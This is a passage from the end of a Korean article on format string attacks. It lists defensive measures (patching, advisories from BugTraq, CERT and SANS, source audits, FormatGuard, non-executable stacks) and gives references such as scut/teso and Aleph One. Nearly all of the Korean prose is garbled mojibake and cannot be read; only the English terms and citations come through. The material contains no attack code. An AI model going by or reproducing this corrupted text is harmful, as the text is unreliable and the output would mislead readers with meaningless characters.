ÇÒ¸¸ÇÑ °ÍÀÌ ¾ø´Ù. ´ëºÎºÐÀÇ format string °ø°Ý±â¹ý¿¡ ´ëÇØ ¼³¸íÇÑ ¹®¼­µé¿¡¼­´Â ´ÙÀ½°ú °°Àº ³»¿ëÀ» ¾ð±ÞÇÏ°í ÀÖ´Ù. == BugTraq, CERT, SANS µîÀÇ »çÀÌÆ®·ÎºÎÅÍ Ãë¾àÁ¡ ¹× ÆÐÄ¡ Á¤º¸¸¦ È®ÀÎÇÒ °Í == Ç×»ó ÃֽŠÆÐÄ¡¸¦ Àû¿ëÇÏ¿© »ç¿ëÇÒ °Í == °¢Á¾ º¸¾Èµµ±¸¸¦ ÀÌ¿ëÇÏ¿© °ø°ÝÀÚ¸¦ Á¦ÇÑ ½Ãų °Í == Source Code¸¦ È®ÀÎÇÒ ¼ö ÀÖ´Â °æ¿ì, Source Code °Ë»ç¸¦ ¼öÇàÇÒ °Í == Ưº°ÇÑ ¶óÀ̺귯¸®¸¦ ÀÌ¿ëÇÒ °Í(ex. FormatGuard http://www.immunix.org ) == Non-executable Stack OptionÀ» ÀÌ¿ëÇÒ °Í == Instruction Detection toolÀ» ÀÌ¿ëÇÒ °Í 6. Âü°í¹®Çå [1] "Format String Attacks", Tim Newsham, Guardent, Inc, 2000-9 [2] "Exploiting Format String Vulnerabilities", scut, team teso, 2001-3-17 [3] "Format String Attack ? Concept and General Exploit", ¼­¼ºÇö, IGRUS, khdp.org, 2001-1-8 [4] "[ÇØÅ·°­ÁÂ8-1,2,3] ÇØÅ·±â¹ý(Format String Bug)", ¿øÀç¾Æºü ȨÇÇ (http://hackerleon.cybersoldier.net/) [5] "Format String Attack¿¡ °üÇÏ¿©", Ã־缭, Çѱ¹ÀüÀÚÅë½Å¿¬±¸¿ø, 2000-11-27 [6] "Smashing The Stack For Fun And Profit", Aleph One, Phrack Magazine 49-14